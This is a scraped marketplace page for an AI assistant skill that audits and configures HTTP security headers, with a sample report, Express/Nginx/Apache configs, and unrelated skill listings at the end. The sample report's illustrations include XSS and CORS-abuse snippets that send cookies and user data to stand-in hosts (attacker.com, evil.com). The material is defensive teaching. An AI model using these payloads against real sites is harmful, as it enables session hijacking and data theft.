skills/curiouslearner/security-headers/SKILL.md
Validate and implement HTTP security headers to protect web applications.
npx skillsauth add aiskillstore/marketplace security-headersInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Validate and implement HTTP security headers to protect web applications.
You are a web security headers expert. When invoked:
Analyze Security Headers:
Security Assessment:
Attack Prevention:
Compliance Checking:
Generate Report: Provide comprehensive header analysis with implementation guidance
Purpose: Prevent XSS attacks by controlling resource loading
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.googleapis.com; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'
Directives:
default-src: Fallback for other directivesscript-src: JavaScript sourcesstyle-src: CSS sourcesimg-src: Image sourcesfont-src: Font sourcesconnect-src: AJAX, WebSocket, EventSourceframe-src: Iframe sourcesframe-ancestors: Pages that can embed this pagebase-uri: Base tag URLsform-action: Form submission targetsPurpose: Force HTTPS connections
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Parameters:
max-age: Duration in seconds (recommended: 31536000 = 1 year)includeSubDomains: Apply to all subdomainspreload: Include in browser preload listsPurpose: Prevent clickjacking attacks
X-Frame-Options: DENY
Values:
DENY: Cannot be framed at allSAMEORIGIN: Can only be framed by same originALLOW-FROM uri: Deprecated, use CSP insteadPurpose: Prevent MIME-sniffing attacks
X-Content-Type-Options: nosniff
Purpose: Enable browser XSS filter (legacy, CSP is preferred)
X-XSS-Protection: 1; mode=block
Note: Deprecated in favor of Content-Security-Policy
Purpose: Control referrer information
Referrer-Policy: strict-origin-when-cross-origin
Values:
no-referrer: Never send referrerno-referrer-when-downgrade: Default behaviororigin: Send only originorigin-when-cross-origin: Full URL for same-originsame-origin: Only for same-origin requestsstrict-origin: Origin only, not on HTTPS→HTTPstrict-origin-when-cross-origin: Recommendedunsafe-url: Always send full URL (not recommended)Purpose: Control browser features and APIs
Permissions-Policy: geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=()
Cross-Origin-Resource-Policy: same-origin
Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Opener-Policy: same-origin
@security-headers
@security-headers https://example.com
@security-headers --check-csp
@security-headers --report
@security-headers --fix
@security-headers localhost:3000
# Check all headers
curl -I https://example.com
# Check specific header
curl -I https://example.com | grep -i "content-security-policy"
# Follow redirects
curl -IL https://example.com
# Detailed headers
curl -v https://example.com 2>&1 | grep -i "^< "
# Mozilla Observatory
curl "https://http-observatory.security.mozilla.org/api/v1/analyze?host=example.com"
# Security Headers
curl "https://securityheaders.com/?q=example.com&followRedirects=on"
# Node.js header checker
node check-headers.js https://example.com
# Python header scanner
python3 scan_headers.py https://example.com
# Security Headers Analysis Report
**Website**: https://example.com
**Scan Date**: 2024-01-15 14:30:00 UTC
**Scanner**: Security Headers Analyzer v2.0
---
## Overall Security Score
**Grade**: C
**Score**: 62/100
🔴 Critical Issues: 2
🟠 High Priority: 3
🟡 Medium Priority: 4
🟢 Low Priority: 2
**Status**: ⚠️ NEEDS IMPROVEMENT
---
## Executive Summary
Your website is vulnerable to several common attacks due to missing or misconfigured security headers. The most critical issues are:
1. Missing Content-Security-Policy (enables XSS attacks)
2. Missing Strict-Transport-Security (vulnerable to MITM)
3. Permissive CORS configuration
**Immediate Actions Required**: Implement CSP and HSTS headers
---
## Header Analysis
### ✅ Headers Present (3)
#### X-Content-Type-Options: nosniff
**Status**: ✅ Correctly configured
**Grade**: A+
**Purpose**: Prevents MIME-sniffing attacks
```http
X-Content-Type-Options: nosniff
Impact: Prevents browsers from interpreting files as different MIME types Recommendation: Keep this header
Status: ✅ Correctly configured Grade: A+ Purpose: Prevents clickjacking attacks
X-Frame-Options: DENY
Impact: Prevents page from being embedded in frames Recommendation: Keep this header Note: Consider migrating to CSP frame-ancestors directive
Status: ✅ Good configuration Grade: A Purpose: Controls referrer information leakage
Referrer-Policy: strict-origin-when-cross-origin
Impact: Balances privacy and functionality Recommendation: Optimal setting for most applications
Status: 🔴 MISSING - CRITICAL Grade: F Risk: High - XSS attacks possible
Current: Not set Impact:
Vulnerability Example:
<!-- Attacker can inject: -->
<script>
// Steal cookies
fetch('https://attacker.com/steal?cookie=' + document.cookie);
// Hijack session
window.location = 'https://attacker.com/phishing';
</script>
Recommended Configuration:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests
Implementation:
Express.js:
const helmet = require('helmet');
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'nonce-{random}'"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "https:", "data:"],
fontSrc: ["'self'"],
connectSrc: ["'self'", "https://api.example.com"],
frameAncestors: ["'none'"],
baseUri: ["'self'"],
formAction: ["'self'"],
upgradeInsecureRequests: []
}
}));
Nginx:
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests" always;
Apache:
Header always set Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests"
Testing:
// Use CSP in report-only mode first
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
// Backend endpoint to collect violations
app.post('/csp-report', (req, res) => {
console.log('CSP Violation:', req.body);
res.status(204).end();
});
Priority: P0 - Implement immediately
Status: 🔴 MISSING - CRITICAL Grade: F Risk: High - MITM attacks possible
Current: Not set Impact:
Vulnerability Example:
User types: http://example.com
→ Attacker intercepts unencrypted initial request
→ Serves malicious page or steals credentials
→ Even if site redirects to HTTPS, initial request is vulnerable
Recommended Configuration:
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Implementation:
Express.js:
app.use(helmet.hsts({
maxAge: 31536000,
includeSubDomains: true,
preload: true
}));
Nginx:
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
Apache:
Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload"
Prerequisites:
HSTS Preload Submission:
1. Visit: https://hstspreload.org/
2. Ensure max-age >= 31536000 (1 year)
3. Include includeSubDomains directive
4. Include preload directive
5. Submit domain for preload list
Warning:
Priority: P0 - Implement immediately
Status: 🟠 MISSING - HIGH Grade: D Risk: Medium - Unnecessary API access
Current: Not set Impact:
Recommended Configuration:
Permissions-Policy: geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=(), interest-cohort=()
Implementation:
Express.js:
app.use((req, res, next) => {
res.setHeader('Permissions-Policy',
'geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=(), interest-cohort=()'
);
next();
});
Nginx:
add_header Permissions-Policy "geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=(), interest-cohort=()" always;
Custom Permissions (if you need specific features):
# Allow geolocation for your domain only
Permissions-Policy: geolocation=(self), microphone=(), camera=()
# Allow camera for specific domain
Permissions-Policy: camera=(self "https://trusted-video.com"), microphone=()
Priority: P1 - Implement within 7 days
Status: 🟡 MISSING - MEDIUM Grade: C
Recommended Configuration:
Cross-Origin-Resource-Policy: same-origin
Implementation:
app.use((req, res, next) => {
res.setHeader('Cross-Origin-Resource-Policy', 'same-origin');
next();
});
Values:
same-origin: Only same-origin requests (recommended)same-site: Same-site requests allowedcross-origin: All origins allowedPriority: P2 - Implement within 30 days
Status: 🟡 MISSING - MEDIUM Grade: C
Recommended Configuration:
Cross-Origin-Embedder-Policy: require-corp
Priority: P2 - Implement within 30 days
Status: 🔴 CRITICAL MISCONFIGURATION Grade: F Risk: High - Open CORS policy
Current Configuration:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Issue: This configuration is dangerous and invalid. Wildcard (*) cannot be used with credentials.
Vulnerability:
// Any malicious site can make authenticated requests:
fetch('https://example.com/api/user/data', {
credentials: 'include' // Sends cookies
})
.then(res => res.json())
.then(data => {
// Attacker steals user data
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
});
Correct Configuration:
// Express.js - Dynamic CORS
const allowedOrigins = [
'https://app.example.com',
'https://admin.example.com'
];
app.use((req, res, next) => {
const origin = req.headers.origin;
if (allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
}
next();
});
Using CORS middleware:
const cors = require('cors');
app.use(cors({
origin: function(origin, callback) {
if (!origin || allowedOrigins.includes(origin)) {
callback(null, true);
} else {
callback(new Error('Not allowed by CORS'));
}
},
credentials: true,
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization'],
exposedHeaders: ['X-Total-Count'],
maxAge: 600
}));
Nginx:
set $cors_origin "";
if ($http_origin ~ "^https://(app|admin)\.example\.com$") {
set $cors_origin $http_origin;
}
add_header Access-Control-Allow-Origin $cors_origin always;
add_header Access-Control-Allow-Credentials true always;
add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE" always;
add_header Access-Control-Allow-Headers "Content-Type, Authorization" always;
Priority: P0 - Fix immediately
Status: ⚠️ DEPRECATED Grade: C
Current Configuration:
X-XSS-Protection: 1; mode=block
Issue: This header is deprecated and can create security vulnerabilities in some browsers.
Recommendation: Remove this header and rely on Content-Security-Policy instead.
Migration:
// Remove X-XSS-Protection
// Instead, implement strong CSP
app.use(helmet({
xssFilter: false, // Disable deprecated header
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"]
}
}
}));
Priority: P2 - Update configuration
| Category | Score | Grade | |----------|-------|-------| | XSS Protection | 20/30 | D | | Clickjacking Protection | 10/10 | A+ | | HTTPS Enforcement | 0/20 | F | | Information Disclosure | 15/15 | A | | CORS Configuration | 0/15 | F | | Browser Features | 0/10 | F | | Overall | 45/100 | F |
Risk: CRITICAL Reason: No Content-Security-Policy
Example Attack:
<!-- Stored XSS -->
<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">
<!-- Reflected XSS -->
https://example.com/search?q=<script>alert(document.cookie)</script>
Mitigation: Implement strict CSP
Risk: CRITICAL Reason: No HSTS header
Example Attack:
1. User connects to http://example.com (unencrypted)
2. Attacker intercepts and serves fake login page
3. User enters credentials
4. Attacker captures credentials
Mitigation: Implement HSTS with preload
Risk: HIGH Reason: Permissive CORS configuration
Example Attack:
// From attacker.com:
fetch('https://example.com/api/sensitive-data', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
// Exfiltrate data
navigator.sendBeacon('https://attacker.com/log', JSON.stringify(data));
});
Mitigation: Restrict CORS to trusted origins only
// Remove wildcard CORS
- Access-Control-Allow-Origin: *
// Implement origin whitelist
+ Access-Control-Allow-Origin: https://app.example.com
Testing:
# Test CORS from allowed origin
curl -H "Origin: https://app.example.com" \
-I https://example.com/api/data
# Test CORS from disallowed origin (should fail)
curl -H "Origin: https://evil.com" \
-I https://example.com/api/data
Risk: Medium (may break integrations) Estimated Time: 2 hours
add_header Strict-Transport-Security "max-age=300" always;
Testing Period: 5 minutes (max-age=300) Full Implementation: Increase to 31536000 after testing
Testing:
# Verify HSTS header
curl -I https://example.com | grep -i strict-transport-security
# Test forced HTTPS
curl -IL http://example.com
# Should redirect to https://
Risk: Low Estimated Time: 1 hour
Week 1: Report-Only Mode
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /csp-report
Monitor violations for 7 days
Week 2: Enforce Mode
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; ...
Testing:
# Check CSP header
curl -I https://example.com | grep -i content-security-policy
# Verify CSP effectiveness
# Open DevTools Console, check for CSP violations
Risk: High (may break functionality) Estimated Time: 3-5 days (including testing)
Permissions-Policy: geolocation=(), microphone=(), camera=()
Risk: Low Estimated Time: 1 hour
Cross-Origin-Resource-Policy: same-origin
Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Opener-Policy: same-origin
Risk: Medium Estimated Time: 2-3 days
// Remove X-XSS-Protection
- X-XSS-Protection: 1; mode=block
Risk: Low Estimated Time: 30 minutes
const express = require('express');
const helmet = require('helmet');
const app = express();
// Generate nonce for CSP
app.use((req, res, next) => {
res.locals.nonce = require('crypto').randomBytes(16).toString('base64');
next();
});
// Security headers
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", (req, res) => `'nonce-${res.locals.nonce}'`],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "https:", "data:"],
fontSrc: ["'self'"],
connectSrc: ["'self'", "https://api.example.com"],
frameAncestors: ["'none'"],
baseUri: ["'self'"],
formAction: ["'self'"],
upgradeInsecureRequests: []
}
},
hsts: {
maxAge: 31536000,
includeSubDomains: true,
preload: true
},
frameguard: {
action: 'deny'
},
noSniff: true,
xssFilter: false, // Deprecated, use CSP
referrerPolicy: {
policy: 'strict-origin-when-cross-origin'
},
crossOriginEmbedderPolicy: true,
crossOriginOpenerPolicy: { policy: 'same-origin' },
crossOriginResourcePolicy: { policy: 'same-origin' }
}));
// Permissions Policy
app.use((req, res, next) => {
res.setHeader('Permissions-Policy',
'geolocation=(), microphone=(), camera=(), payment=(), usb=()'
);
next();
});
// CORS configuration
const allowedOrigins = ['https://app.example.com', 'https://admin.example.com'];
app.use((req, res, next) => {
const origin = req.headers.origin;
if (allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
}
next();
});
// CSP violation reporting
app.post('/csp-report', express.json({ type: 'application/csp-report' }), (req, res) => {
console.log('CSP Violation:', req.body);
res.status(204).end();
});
app.listen(3000);
server {
listen 443 ssl http2;
server_name example.com;
# SSL configuration
ssl_certificate /path/to/cert.pem;
ssl_certificate_key /path/to/key.pem;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers HIGH:!aNULL:!MD5;
# Security Headers
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests" always;
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "geolocation=(), microphone=(), camera=(), payment=(), usb=()" always;
add_header Cross-Origin-Resource-Policy "same-origin" always;
add_header Cross-Origin-Embedder-Policy "require-corp" always;
add_header Cross-Origin-Opener-Policy "same-origin" always;
# CORS
set $cors_origin "";
if ($http_origin ~ "^https://(app|admin)\.example\.com$") {
set $cors_origin $http_origin;
}
add_header Access-Control-Allow-Origin $cors_origin always;
add_header Access-Control-Allow-Credentials true always;
location / {
proxy_pass http://localhost:3000;
}
}
# HTTP to HTTPS redirect
server {
listen 80;
server_name example.com;
return 301 https://$server_name$request_uri;
}
// Log violations
app.post('/csp-report', (req, res) => {
const violation = req.body['csp-report'];
logger.warn('CSP Violation', {
blockedURI: violation['blocked-uri'],
violatedDirective: violation['violated-directive'],
documentURI: violation['document-uri']
});
res.status(204).end();
});
// Alert on critical violations
if (violation['violated-directive'].includes('script-src')) {
alertSecurityTeam(violation);
}
Current Grade: F (45/100) Target Grade: A+ (95+/100) Estimated Effort: 2-3 weeks Priority: HIGH - Critical vulnerabilities present
Immediate Actions:
Expected Grade After Fixes: A (90+/100)
## Notes
- Test headers in staging first
- Use report-only mode for CSP initially
- Monitor CSP violations before enforcing
- Balance security with functionality
- Keep headers updated with best practices
- Regular security audits recommended
- Document all header configurations
- Train team on header security
- Use automated tools for continuous monitoring
- Review headers after major changes
development
Apple Human Interface Guidelines for content display components. Use this skill when the user asks about charts component, collection view, image view, web view, color well, image well, activity view, lockup, data visualization, content display, displaying images, rendering web content, color pickers, or presenting collections of items in Apple apps. Also use when the user says how should I display charts, what's the best way to show images, should I use a web view, how do I build a grid of items, what component shows media, or how do I present a share sheet. Cross-references: hig-foundations for color/typography/accessibility, hig-patterns for data visualization patterns, hig-components-layout for structural containers, hig-platforms for platform-specific component behavior.
tools
Automate HelpDesk tasks via Rube MCP (Composio): list tickets, manage views, use canned responses, and configure custom fields. Always search tools first for current schemas.
testing
Expert Haskell engineer specializing in advanced type systems, pure functional design, and high-reliability software. Use PROACTIVELY for type-level programming, concurrency, and architecture guidance.
tools
GraphQL gives clients exactly the data they need - no more, no less. One endpoint, typed schema, introspection. But the flexibility that makes it powerful also makes it dangerous. Without proper controls, clients can craft queries that bring down your server. This skill covers schema design, resolvers, DataLoader for N+1 prevention, federation for microservices, and client integration with Apollo/urql. Key insight: GraphQL is a contract. The schema is the API documentation. Design it carefully.